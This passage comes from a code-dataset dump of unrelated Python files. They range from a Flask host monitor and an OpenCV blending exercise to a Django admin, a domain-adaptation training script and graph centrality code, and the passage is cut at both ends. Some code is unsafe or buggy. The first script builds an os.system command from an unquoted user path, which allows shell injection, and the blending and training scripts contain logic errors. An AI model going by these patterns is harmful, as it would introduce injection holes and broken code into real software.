natsort import natsorted\nfrom glob import glob\nfrom PIL import Image\nimport shutil\nimport sys\nimport os\n\nif len(sys.argv) <= 1:\n print(\"\"\"\\nUsage:\npython3 scanning.py /path/to/file.mp4\n\"\"\")\n sys.exit()\n\nif not shutil.which(\"ffmpeg\"):\n print(\"ffmpeg needs to be installed to use this script\")\n sys.exit()\n\nvideoPath = \" \".join(sys.argv[1:])\nif not os.path.exists(videoPath):\n print(\"That is not a valid path\")\n sys.exit()\n\nvideoDirPath, videoFileName = os.path.split(videoPath)\ntempDirPath = os.path.join(videoDirPath, \"temp\") \n\ntry:\n os.mkdir(tempDirPath)\nexcept FileExistsError:\n print(\"temp dir already exists in file location, please remove it\")\n sys.exit()\n\n# The -vf argument crops each frame to the central column of pixels\nos.system(f'ffmpeg -i {videoPath} -vf \"format=yuvj444p,crop=1:ih:(iw/2):0:exact=1\" {os.path.join(tempDirPath, \"frame-%d.jpeg\")}')\n\n# Get height and width of all frames from first frame\nfirstFrame = Image.open(os.path.join(tempDirPath, \"frame-1.jpeg\"))\nframeWidth, frameHeight = firstFrame.size\nfirstFrame.close()\n\n# natsorted means they will be in the same order they came out of ffmpeg\n# for more info see https://github.com/SethMMorton/natsort\nframeSequence = natsorted(glob(os.path.join(tempDirPath, \"*.jpeg\")))\ncompositeImage = Image.new(\"RGB\", (len(frameSequence), frameHeight))\ncurrentCol = 0\n\nfor infile in frameSequence:\n currentFrame = Image.open(infile)\n compositeImage.paste(currentFrame, (currentCol, 0))\n currentFrame.close()\n currentCol += 1\n print(f\"Processed {infile}\", end=\"\\r\")\n\ncompositeImage.save(os.path.join(videoDirPath, \"unwrapped.jpeg\"), \"JPEG\")\ncompositeImage.show()\nprint(\"\\n\\nShowing image, deleting temp directory\")\nshutil.rmtree(tempDirPath)\nprint(\"\\nDone\")\n","sub_path":"source/fixed.py","file_name":"fixed.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"510222275","text":"from datetime import datetime\nfrom flask import render_template, redirect, url_for, jsonify, request\nfrom . import main, report\nfrom .. import db\nfrom .forms import HostForm\nfrom ..models import Hosts\n\n\n@main.route('/', methods=['GET', 'POST'])\ndef index():\n form = HostForm()\n hosts = Hosts.query.order_by(Hosts.status.asc()).all()\n if len(hosts) == 0:\n now = datetime.now().strftime('%m/%d/%Y %H:%M:%S')\n perc_up = 0\n else:\n now = hosts[0].last_checked\n if now is not None:\n now = datetime.strftime(now, '%m/%d/%Y %H:%M:%S')\n else:\n now = datetime.now().strftime('%m/%d/%Y %H:%M:%S')\n total_hosts = len(hosts)\n up_hosts = len(Hosts.query.filter_by(status=True).all())\n perc_up = up_hosts / total_hosts\n perc_up = float(\"%.2f\" % perc_up)\n if form.validate_on_submit():\n if len(form.port.data) == 0:\n port = None\n else:\n port = form.port.data\n host_data = (form.fqdn.data, port)\n status, timestamp = report.check_host(host_data)\n host = Hosts(fqdn=form.fqdn.data, port=port, friendly_name=form.friendly_name.data,\n status=status, last_checked=timestamp)\n db.session.add(host)\n return redirect(url_for('main.index'))\n \n return render_template('index.html', hosts=hosts, percent_up=perc_up, timestamp=now, form=form)\n\n\n@main.route('/check-hosts', methods=['GET', 'POST'])\ndef check_hosts():\n hosts = Hosts.query.all()\n if request.method == 'POST':\n if len(hosts) == 0:\n return jsonify({}, 204)\n return_data = report.check_hosts()\n return jsonify(return_data, 202)\n else:\n if len(hosts) == 0:\n return redirect(url_for('main.index'))\n report.check_hosts()\n return redirect(url_for('main.index'))\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"602050479","text":"import cv2 as cv\r\nimport numpy as np\r\napple=cv.imread('apple.jpg')\r\norange=cv.imread('orange.jpg')\r\nprint(apple.shape)\r\nprint(orange.shape)\r\napple_orange=np.hstack((apple[:,:256],orange[:, 256:]))\r\n# guassian pyramid fo apple\r\napple_copy=apple.copy()\r\ngp_apple=[apple_copy]\r\nfor i in range(6):\r\n apple_copy=cv.pyrDown(apple_copy)\r\n gp_apple.append(apple_copy)\r\n# guassian pyramid fo orange\r\norange_copy=orange.copy()\r\ngp_orange=[orange_copy]\r\nfor i in range(6):\r\n orange_copy=cv.pyrDown(orange_copy)\r\n gp_orange.append(orange_copy)\r\n# laplacian pyramid fo apple\r\napple_copy=gp_apple[5]\r\nlp_apple=[apple_copy]\r\nfor i in range(5,0,-1):\r\n guassian_extended=cv.pyrUp(gp_apple[i])\r\n laplacian=cv.subtract(gp_apple[i-1],guassian_extended)\r\n lp_apple.append(laplacian)\r\n#laplacian pyramid for orange\r\norange_copy=gp_orange[5]\r\nlp_orange=[orange_copy]\r\nfor i in range(5,0,-1):\r\n guassian_extended=cv.pyrUp(lp_orange[i])\r\n laplacian=cv.subtract(lp_orange[i-1],guassian_extended)\r\n lp_orange.append(laplacian)\r\n\r\napple_orange_pyramid=[]\r\nn=0\r\nfor apple_lap,orange_lap in zip(lp_apple,lp_orange):\r\n n+=1\r\n cols,rows,ch=apple_lap.shape\r\n laplacian=np.hstack(apple_lap[:,0:int(cols/2)],orange_lap[:,int(cols/2)])\r\n apple_orange_pyramid.append(laplacian)\r\napple_orange_reconstruct=apple_orange_pyramid[0]\r\nfor i in range(1,6):\r\n apple_orange_reconstruct=cv.pyrUp(apple_orange_reconstruct)\r\n apple_orange_reconstruct=cv.add(apple_orange_reconstruct,apple_orange_pyramid)\r\n\r\ncv.imshow('apple',apple)\r\ncv.imshow('orange',orange)\r\ncv.imshow('apple_orange',apple_orange)\r\ncv.imshow('apple_orange',apple_orange_reconstruct)\r\ncv.waitKey()\r\ncv.destroyAllWindows()","sub_path":"opencv_projects/image_blending_using_pyramids.py","file_name":"image_blending_using_pyramids.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"425898844","text":"import rospy\r\nfrom std_msgs.msg import Int32MultiArray\r\n\r\nclass ObstacleDetector:\r\n\r\n def __init__(self, topic):\r\n self.left = []\r\n self.mid = -1\r\n self.right = []\r\n self.back = -1\r\n rospy.Subscriber(topic, Int32MultiArray, self.read_distance)\r\n\r\n def read_distance(self, data):\r\n self.left.extend([data.data[0], data.data[7], data.data[3]])\r\n self.mid = data.data[1]\r\n self.back = data.data[4]\r\n self.right.extend([data.data[2], data.data[6], data.data[5]])\r\n\r\n def get_distance(self):\r\n return self.left, self.mid, self.right, self.back\r\n","sub_path":"obstacle.py","file_name":"obstacle.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"617336004","text":"import sys\nimport time\nimport os\nimport subprocess\nfrom textblob import TextBlob\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\napp = QApplication(sys.argv) \nmyClipBoard = QApplication.clipboard()\nmyClipBoard.clear()\nclip = myClipBoard.text()\nunfmessage = ''\nmessage = ''\nlang = 'ru'\nwhile 1:\n clip = myClipBoard.text()\n if clip != unfmessage:\n print(clip)\n blob = TextBlob(clip)\n try:\n translated = str(blob.translate(to=lang))\n except BaseException:\n translated = \"oops\"\n unfmessage = clip\n if message.startswith(\" \"):\n message = unfmessage[1:]\n subprocess.call(['notify-send', 'Translator', translated]) \n","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"592719995","text":"import shlex\nimport subprocess\nimport uuid\nimport os\nfrom pathlib import Path\n\nfrom PIL import Image\nfrom django import forms\nfrom django.contrib import admin\nfrom django.contrib.auth.models import Group\nfrom django.db import models as dj_models\nfrom django.forms import Textarea\nfrom pyzbar.pyzbar import decode\n\nfrom qr_code_app import models\nfrom rest_framework.authtoken.models import Token\n\n\nadmin.site.site_header = 'Intra Chimica'\n\n\nclass UserCreationForm(forms.ModelForm):\n request = None\n\n class Meta:\n model = models.User\n fields = '__all__'\n widgets = {'password': forms.PasswordInput(render_value=True)}\n\n\nclass MCQInline(admin.StackedInline):\n model = models.MCQ\n\n\nclass FAQInline(admin.StackedInline):\n model = models.FAQ\n\n\nclass UserAdmin(admin.ModelAdmin):\n form = UserCreationForm\n fields = ('email', 'password', 'first_name', 'last_name', 'phone_number', 'birth_place', 'dob', 'company')\n\n class Meta:\n model = models.User\n\n def save_model(self, request, obj, form, change):\n super().save_model(request, obj, form, change)\n obj.is_active = True\n obj.save()\n\n def get_queryset(self, request):\n return models.User.objects.filter(is_admin=False)\n\n\ndef fasten_video(orig_path):\n path = Path(orig_path)\n temp_filename_path = os.path.join(str(path.parent), str(uuid.uuid4()) + \".\" + path.name.split('.')[-1])\n\n subprocess.check_call(shlex.split(\n \"ffmpeg -i {} -c copy -movflags +faststart {}\".format(orig_path, temp_filename_path)))\n subprocess.check_call(shlex.split('rm {}'.format(orig_path)))\n Path(temp_filename_path).rename(orig_path)\n\n\nclass ProductAdmin(admin.ModelAdmin):\n inlines = [MCQInline, FAQInline]\n readonly_fields = ('url', )\n formfield_overrides = {\n dj_models.TextField: {'widget': Textarea(attrs={'rows': 2, 'cols': 40})}\n }\n\n class Meta:\n model = models.Product\n\n def save_model(self, request, obj, form, change):\n super().save_model(request, obj, form, change)\n if not change:\n o = decode(Image.open(obj.qr_code.path))\n if len(o) > 0:\n obj.url = o[0].data.decode()\n obj.save()\n\n # fasten_video(str(obj.video.path))\n\nadmin.site.unregister(Token)\nadmin.site.unregister(Group)\nadmin.site.register(models.User, UserAdmin)\nadmin.site.register(models.Product, ProductAdmin)\n","sub_path":"qr_code_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"501237999","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport torch\nimport torchvision\nimport torchvision.datasets as datasets\nfrom tqdm import tqdm\nimport argparse\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.backends.cudnn as cudnn\nimport os\nimport sys\nimport logging\nimport logging.handlers\nfrom PIL import Image\n\n\n# # Parser\n\n# In[2]:\n\n\nparser = argparse.ArgumentParser(description='Domain adaptation')\nparser.add_argument(\"--batch_size\", type=int, default=\"400\", help=\"batch size\")\nparser.add_argument(\"--learning_rate\", type=float, default=1e-3, help=\"learning rate\")\nparser.add_argument(\"--momentum\", type=float, default=0.5, help=\"momentum\")\nparser.add_argument(\"--gpu_num\", type=int, default=0, help=\"gpu num\")\nparser.add_argument(\"--seed\", type=int, default=123, help=\"munually set seed\")\nparser.add_argument(\"--save_path\", type=str, default=\"../train_related\", help=\"save path\")\nparser.add_argument(\"--subfolder\", type=str, default='test', help=\"subfolder name\")\nparser.add_argument(\"--wtarget\", type=float, default=0.7, help=\"target weight\")\nparser.add_argument(\"--model_save_period\", type=int, default=2, help=\"save period\")\nparser.add_argument(\"--epochs\", type=int, default=2000, help=\"label shuffling\")\nparser.add_argument(\"--dann_weight\", type=float, default=1, help=\"weight for label shuffling\")\nparser.add_argument(\"--start_shuffle_dann\", type=int, default=100, help=\"when to start shuffling\")\nparser.add_argument(\"--is_shuffle\", type=int, default=1, help=\"no shuffle if 0\")\n\n\nargs = parser.parse_args()\n# snap shot of py file and command\npython_file_name = sys.argv[0]\n\n\n# # local only\n\n# In[4]:\n\n\n# # local only\n# class local_args:\n# def __init__(self, **entries):\n# self.__dict__.update(entries)\n \n# args = local_args(**{\n# 'batch_size': 400,\n# 'learning_rate': 1e-3,\n# 'momentum': 0.5,\n# 'gpu_num': 0,\n# 'seed': 123,\n# 'save_path': \"../train_related\",\n# 'epochs': 2,\n# 'subfolder': \"test\",\n# 'wtarget': 0.7,\n# 'dann_weight': 1,\n# 'model_save_period': 2,\n# 'start_shuffle_dann': 1,\n# 'is_shuffle': 1\n# })\n\n\n# In[5]:\n\n\n\ndevice = torch.device('cuda:{}'.format(args.gpu_num) if torch.cuda.is_available() else 'cpu')\n# seed\ntorch.manual_seed(args.seed)\ntorch.cuda.manual_seed(args.seed)\nnp.random.seed(args.seed)\ncudnn.deterministic = True\ntorch.backends.cudnn.deterministic = True\n\n\n\ndevice = torch.device('cuda:{}'.format(args.gpu_num) if torch.cuda.is_available() else 'cpu')\nprint(device)\n\n\nmodel_sub_folder = args.subfolder + '/shuffle_weight_%f_learningrate_%f_startsepoch_%i_isshuffle_%i'%(args.dann_weight, args.learning_rate, args.start_shuffle_dann, args.is_shuffle)\nsave_folder = os.path.join(args.save_path, model_sub_folder)\nif not os.path.exists(save_folder):\n os.makedirs(save_folder) \n\n\n# In[6]:\n\n\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\nlogfile_path = os.path.join(save_folder, 'logfile.log')\nif os.path.isfile(logfile_path):\n os.remove(logfile_path)\n \nfile_log_handler = logging.FileHandler(logfile_path)\nlogger.addHandler(file_log_handler)\n\nstdout_log_handler = logging.StreamHandler(sys.stdout)\nlogger.addHandler(stdout_log_handler)\nlogger.info(\"Fixed source testing bug\")\nattrs = vars(args)\nfor item in attrs.items():\n logger.info(\"%s: %s\"%item)\nlogger.info(\"Training Save Path: {}\".format(save_folder))\n\n\n# # Data loader\n\n# In[7]:\n\n\nmnist_trainset = datasets.MNIST(root='../data', train=True, download=True, transform=torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,), (0.3081,))\n ]))\n\n\n# In[8]:\n\n\nmnist_testset = datasets.MNIST(root='../data', train=False, download=True, transform=torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,), (0.3081,))\n ]))\n\n\n# In[9]:\n\n\nsvhn_trainset = datasets.SVHN(root='../data', split='train', download=True, transform=torchvision.transforms.Compose([\n torchvision.transforms.Resize((28, 28)),\n torchvision.transforms.Grayscale(num_output_channels=1),\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize([0.5], [0.5])]))\n\n\n# In[10]:\n\n\nsvhn_testset = datasets.SVHN(root='../data', split='test', download=True, transform=torchvision.transforms.Compose([\n torchvision.transforms.Resize((28, 28)),\n torchvision.transforms.Grayscale(num_output_channels=1),\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize([0.5], [0.5])]))\n\n\n# In[11]:\n\n\n# # mnist\n# train_mnist_loader = DataLoader(mnist_trainset, batch_size=args.batch_size, shuffle=True)\n# test_mnist_loader = DataLoader(mnist_testset, batch_size=args.batch_size, shuffle=True)\n# examples = enumerate(test_mnist_loader)\n# batch_idx, (example_data, example_targets) = next(examples)\n\n\n# fig = plt.figure()\n# for i in range(6):\n# plt.subplot(2,3,i+1)\n# plt.tight_layout()\n# plt.imshow(example_data[i][0], cmap='gray', interpolation='none')\n# plt.title(\"Ground Truth: {}\".format(example_targets[i]))\n# plt.xticks([])\n# plt.yticks([])\n\n\n# In[12]:\n\n\n# # svhn\n# train_svhn_loader = DataLoader(svhn_trainset, batch_size=args.batch_size, shuffle=True)\n# test_svhn_loader = DataLoader(svhn_trainset, batch_size=args.batch_size, shuffle=True)\n# examples = enumerate(train_svhn_loader)\n# batch_idx, (example_data, example_targets) = next(examples)\n\n\n# fig = plt.figure()\n# for i in range(6):\n# plt.subplot(2,3,i+1)\n# plt.tight_layout()\n# plt.imshow(example_data[i][0], cmap='gray', interpolation='none')\n# plt.title(\"Ground Truth: {}\".format(example_targets[i]))\n# plt.xticks([])\n# plt.yticks([])\n\n\n# In[ ]:\n\n\n\n\n\n# ## Process data for cancat with source and target label\n\n# In[13]:\n\n\nclass ConcatDataset(Dataset):\n def __init__(self, x, y, mode='mnist'):\n self.x = x\n self.y = y\n self.len = self.x.shape[0]\n self.mode = mode\n if self.mode == 'mnist':\n self.transform = torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,), (0.3081,))\n ])\n elif self.mode == 'svhn':\n self.transform = torchvision.transforms.Compose([\n torchvision.transforms.Resize((28, 28)),\n torchvision.transforms.Grayscale(num_output_channels=1),\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize([0.5], [0.5])])\n\n def __len__(self):\n return self.len\n \n def __getitem__(self, index):\n if self.mode == 'mnist':\n img = Image.fromarray(self.x[index].numpy(), mode='L')\n img = self.transform(img)\n elif self.mode == 'svhn':\n img = Image.fromarray(np.transpose(self.x[index], (1, 2, 0)))\n img = self.transform(img)\n \n return img, self.y[index]\n\n\n# In[14]:\n\n\ntorch.manual_seed(args.seed)\ntorch.cuda.manual_seed(args.seed)\nnp.random.seed(args.seed)\n\ndomain_labels = torch.cat([torch.zeros(svhn_trainset.data.shape[0]), torch.ones(mnist_trainset.data.shape[0])])\nindex = torch.randperm(domain_labels.shape[0])\ndomain_labels = domain_labels[index.numpy(), ]\n\nconcat_mnist_train = ConcatDataset(mnist_trainset.data, domain_labels[:mnist_trainset.data.shape[0]], mode = 'mnist')\nconcat_svhn_train = ConcatDataset(svhn_trainset.data, domain_labels[mnist_trainset.data.shape[0]:], mode = 'svhn')\n\n\nadverial_dataset = torch.utils.data.ConcatDataset([concat_mnist_train, concat_svhn_train])\n# [i[1] for i in [adverial_dataset[m] for m in torch.randint(0, len(adverial_dataset), (100,))]]\nadverial_loader = DataLoader(adverial_dataset, batch_size=args.batch_size, shuffle=True)\n\n\n# # Model\n\n# In[15]:\n\n\nclass Encoder(nn.Module):\n def __init__(self):\n super(Encoder, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(1, 64, kernel_size=5, stride=1, padding=2), #[N, 64, 28, 28]\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=3, stride=2, padding=1)) #[N, 64, 14, 14]\n self.layer2 = nn.Sequential(\n nn.Conv2d(64, 64, kernel_size=5, stride=1, padding=2), #[N, 64, 14, 14]\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=3, stride=2, padding=1)) #[N, 64, 7, 7]\n self.layer3 = nn.Sequential(\n nn.Conv2d(64, 128, kernel_size=5, stride=1, padding=2), #[N, 128, 7, 7]\n nn.ReLU())\n \n\n\n def forward(self, x):\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = x.view(-1, 128*7*7) # [N, 128 * 7 * 7]\n return x\n \n \n\n\n# In[16]:\n\n\nclass FNN(nn.Module):\n def __init__(self, d_in, d_h1, d_h2, d_out, dp=0.2):\n super(FNN, self).__init__()\n self.fc1 = nn.Linear(d_in, d_h1)\n self.ln1 = nn.BatchNorm1d(d_h1)\n self.relu1 = nn.ReLU(inplace=True)\n self.dropout1 = nn.Dropout(dp)\n self.fc2 = nn.Linear(d_h1, d_h2)\n self.ln2 = nn.BatchNorm1d(d_h2)\n self.relu2 = nn.ReLU(inplace=True)\n self.dropout2 = nn.Dropout(dp)\n self.fc3 = nn.Linear(d_h2, d_out)\n\n def forward(self, x):\n x = self.fc1(x)\n x = self.ln1(x)\n x = self.relu1(x)\n x = self.dropout1(x)\n x = self.fc2(x)\n x = self.ln2(x)\n x = self.relu2(x)\n x = self.dropout2(x)\n x = self.fc3(x)\n return x\n \n def before_lastlinear(self, x):\n x = self.fc1(x)\n x = self.ln1(x)\n x = self.relu1(x)\n x = self.dropout1(x)\n x = self.fc2(x)\n x = self.ln2(x)\n x = self.relu2(x)\n x = self.dropout2(x)\n return x\n\n \n\n\n# In[17]:\n\n\nclass Adversial_loss(nn.Module):\n def __init__(self):\n super(Adversial_loss, self).__init__()\n \n def forward(self):\n pass\n\n\n# In[18]:\n\n\ndef weights_init(m):\n if type(m) == nn.Linear:\n torch.nn.init.xavier_uniform_(m.weight)\n elif type(m) == nn.LayerNorm:\n torch.nn.init.normal_(m.weight, 1.0, 0.02)\n torch.nn.init.constant_(m.bias, 0)\n\n\n# In[23]:\n\n\n\ndevice = torch.device('cuda:{}'.format(args.gpu_num) if torch.cuda.is_available() else 'cpu')\nprint(device)\n\n\nencoder = Encoder().to(device)\nCNet = FNN(d_in=128*7*7, d_h1=3072, d_h2=2048, d_out=10, dp=0.2).to(device)\nDomainCNet = FNN(d_in=128*7*7, d_h1=1024, d_h2=1024, d_out=1, dp=0.2).to(device)\n\n\n\n\noptimizerEncoder = optim.Adam(encoder.parameters(), lr=args.learning_rate)\noptimizerCNet = optim.Adam(CNet.parameters(), lr=args.learning_rate)\noptimizerDomainCNet = optim.Adam(DomainCNet.parameters(), lr=args.learning_rate)\n\n# criterion_classifier = nn.CrossEntropyLoss().to(device)\ncriterion_classifier = nn.MSELoss().to(device)\n\nencoder.apply(weights_init)\nCNet.apply(weights_init)\nDomainCNet.apply(weights_init)\n\n\n# # Train\n\n# In[27]:\n\n\ntarget_acc_label_ = []\nsource_acc_ = []\nsource_test_acc_ = []\ntarget_test_acc_ = []\ndomain_acc_ = []\naccumulate_loss_ = []\nlogger.info('Started Training')\n\n\nfor epoch in range(args.epochs):\n # update classifier\n\n\n accumulate_loss = 0.0\n domain_acc = 0.0\n DomainCNet.train()\n encoder.train()\n num_datas = 0.0\n for batch_id, (adv_x, adv_y) in tqdm(enumerate(adverial_loader), total=len(adverial_loader)):\n optimizerCNet.zero_grad()\n optimizerEncoder.zero_grad()\n adv_x = adv_x.to(device).float()\n adv_y = adv_y.to(device).float()\n num_datas += adv_x.size(0)\n\n adv_x_embedding = encoder(adv_x)\n pred = DomainCNet(adv_x_embedding)\n\n domain_acc += (pred.argmax(-1) == adv_y).sum().item()\n # adv_acc += (pred.argmax(-1) == adv_y).sum().item()\n loss = criterion_classifier(pred, adv_y.view(-1,1))\n \n accumulate_loss += loss.item() \n loss.backward()\n\n optimizerDomainCNet.step()\n optimizerEncoder.step() \n\n accumulate_loss_.append(accumulate_loss)\n domain_acc = domain_acc / num_datas\n domain_acc_.append(domain_acc)\n\n\n \n\n \n if epoch % args.model_save_period == 0:\n torch.save(DomainCNet.state_dict(), os.path.join(save_folder, 'DomainCNet_%i.t7'%(epoch+1)))\n torch.save(encoder.state_dict(), os.path.join(save_folder, 'encoder_%i.t7'%(epoch+1)))\n torch.save(CNet.state_dict(), os.path.join(save_folder, 'CNet_%i.t7'%(epoch+1)))\n\n \n logger.info('Epochs %i: Shuffle loss: %f; domain acc: %f'%(epoch+1, accumulate_loss, domain_acc))\n np.save(os.path.join(args.save_path, model_sub_folder, 'domain_acc_.npy'),domain_acc_)\n np.save(os.path.join(args.save_path, model_sub_folder, 'accumulate_loss_.npy'),accumulate_loss_)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"final/shuffling_only.py","file_name":"shuffling_only.py","file_ext":"py","file_size_in_byte":13203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"497878270","text":"import math\nimport multiprocessing\nimport operator\nfrom collections import deque\n\nimport networkx as nx\n\n\ndef get_graph():\n graph = nx.Graph()\n for line in open('data.txt').readlines():\n node = [i for i in map(int, line.split())]\n for edge in node[1:]:\n graph.add_edge(node[0], edge)\n return graph\n\n\ndef print_output(centrality, algorithm):\n return print(f'\\n{algorithm}: '\n f'{[i[0] for i in sorted(centrality.items(), key=operator.itemgetter(1), reverse=True)[:10]]}')\n\n\ndef pagerank_centrality(graph):\n alpha = 0.85\n iteration = 100\n epsilon = 3.0e-07\n\n rank = {}\n for n in [i for i in graph.nodes]:\n rank[n] = 0\n\n for _ in range(iteration):\n prev_rank = rank.copy()\n for node in range(len(graph)):\n _total = 0\n for n in graph[node]:\n _total += rank[n] / len([edge for edge in graph.neighbors(n)])\n rank[node] = (1 - alpha) / len(graph) + (alpha * _total)\n if sum([abs(prev_rank[_node] - rank[_node]) for _node in rank]) / len(graph) < epsilon:\n return print_output(rank, 'PageRank Centrality')\n\n\ndef brandes_betweenness_centrality(graph):\n nodes = [i for i in graph.nodes]\n adjacent = sorted([i for i in graph.adjacency()], key=lambda tup: tup[0])\n edges = {}\n for adj in adjacent:\n for i in adjacent[adj[0]]:\n if isinstance(i, dict):\n edges[adj[0]] = [*i]\n centrality = dict((v, 0) for v in nodes)\n for s in nodes:\n s_stack = []\n predecessors = dict((w, []) for w in nodes)\n shortest_path = dict((t, 0) for t in nodes)\n distance = dict((t, math.inf) for t in nodes)\n shortest_path[s], distance[s] = 1, 0\n q_queue = deque([])\n q_queue.append(s)\n while q_queue:\n v = q_queue.popleft()\n s_stack.append(v)\n for w in edges[v]:\n if distance[w] == math.inf:\n distance[w] = distance[v] + 1\n q_queue.append(w)\n if distance[w] == distance[v] + 1:\n shortest_path[w] = shortest_path[w] + shortest_path[v]\n predecessors[w].append(v)\n dependency = dict((v, 0) for v in nodes)\n while s_stack:\n w = s_stack.pop()\n for v in predecessors[w]:\n dependency[v] = dependency[v] + (shortest_path[v] / shortest_path[w]) * (1 + dependency[w])\n if w != s:\n centrality[w] = centrality[w] + dependency[w]\n\n return print_output(centrality, 'Betweenness Centrality')\n\n\nif __name__ == \"__main__\":\n undirected_graph = get_graph()\n\n # brandes_betweenness_centrality(undirected_graph)\n # pagerank_centrality(undirected_graph)\n\n multiprocessing.Process(target=brandes_betweenness_centrality, args=(undirected_graph,)).start()\n multiprocessing.Process(target=pagerank_centrality, args=(undirected_graph,)).start()\n","sub_path":"Social Media/46252665.py","file_name":"46252665.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"394496495","text":"\nmymatrix1 = []\n\nwith open('agreedlist.txt', 'r') as f1:\n\tfor line in f1:\n\t\tmyline = line.split()\n\t\tmymatrix1.append(myline)\nfor cnt in range(2,5):\n\tmyresult1 = []\n\ttruepos1=0\n\ttrueneg1=0\n\tfalsepos1=0\n\tfalseneg1=0\n\n\tfor line in mymatrix1:\n\t\tif line[1] == '1' and line[cnt] == '1': myresult1.append('true-pos')\n\t\telif line[1] == '1' and line[cnt] == '0': myresult1.append('false-neg')\t\n\t\telif line[1] == '0' and line[cnt] == '0': myresult1.append('true-neg')\n\t\telif line[1] == '0' and line[cnt] == '1': myresult1.append('false-pos')\n\t\telse: myresult1.append('ungueltiger wert')\n\n\t\n\twith open(str(cnt-1)+'agreed_output.txt', 'w') as kacke1:\n\n\t\tfor line in myresult1:\n\t\t\tif line == 'true-pos': truepos1=truepos1+1\n\t\t\tif line == 'true-neg': trueneg1=trueneg1+1\n\t\t\tif line == 'false-pos': falsepos1=falsepos1+1\n\t\t\tif line == 'false-neg': falseneg1=falseneg1+1\n\t\tkacke1.write('true-pos: '+str(truepos1)+'\\n')\n\t\tkacke1.write('true-neg: '+str(trueneg1)+'\\n')\n\t\tkacke1.write('false-pos: '+str(falsepos1)+'\\n')\n\t\tkacke1.write('false-neg: '+str(falseneg1)+'\\n')\n\tkacke1.close()\n\nf1.close()\n\n\n\n\n\n\n","sub_path":"tex/fragebogen/auswertung146_mit/ausw.py","file_name":"ausw.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"283420237","text":"from .common import * # noqa\n\nDEBUG = False\n\nCHANNEL_LAYERS = {\n \"default\": {\n \"BACKEND\": \"asgi_redis.RedisChannelLayer\",\n \"ROUTING\": \"mysite.routing.channel_routing\",\n \"CONFIG\": {\n \"hosts\": [('redis', 6379)],\n },\n },\n}\n\nALLOWED_HOSTS = [\n \"web\",\n \"127.0.0.1\",\n \"159.203.53.11\",\n \"minesweeper.xudeng.io\",\n]\n\nSTATIC_ROOT = '/static'\n","sub_path":"mysite/settings/prod.py","file_name":"prod.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"574682064","text":"#defining function for speed check and returning demerit points accordingly\ndef speedCheck(speedOfVechile):\n demritPoint=0\n if(speedOfVechile<70):\n print(\"ok\")\n else:\n differenceSpeed=speedOfVechile-70\n demritPoint=differenceSpeed/5\n if (demritPoint > 12):\n print(\"License suspended\")\n else:\n print(\"Point: \",int(demritPoint))\n \n# Taking Speed input from the user \nspeedOfVechile=int(input(\"Enter the speed of vechile\"))\nspeedCheck(speedOfVechile)\n\n","sub_path":"Python-Task6/task6ques1.py","file_name":"task6ques1.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"349060403","text":"\"\"\"A squib-inspired python library that does card generation \"the Python way\"\n\"\"\"\nimport json\nimport warnings\n\nfrom parser import parse\nfrom renderer import CairoRenderer, TextAlignment\nfrom util import Color, BLACK\n\n\ndef _scale_column_widths(columns, total_width):\n # Until we're small enough...\n while sum(columns) > total_width:\n # find the biggest column(s)\n biggest = max(columns)\n # and shave off a tiny piece of them\n columns = [c - 1 if c >= biggest else c for c in columns]\n return columns\n\n\nMAX_TABLE_LINES = 100 # Since we set ellipsize, we need a max number of lines\n\n\nclass RenderInstance:\n def __init__(self, filename, width, height):\n self.filename = filename\n self.renderer = CairoRenderer(width, height)\n\n def draw_rect(self,\n id: str=\"\",\n x: float=0,\n y: float=0,\n w: float=100,\n h: float=100,\n color: Color=BLACK,\n stroke: bool=False,\n fill: bool=True,\n radius: float=0) -> None:\n self.renderer.set_color(*color)\n self.renderer.plot_rectangle(x, y, w, h, radius)\n if stroke:\n self.renderer.stroke()\n if fill:\n self.renderer.fill()\n\n def draw_image(self,\n id: str=\"\",\n x: float=0,\n y: 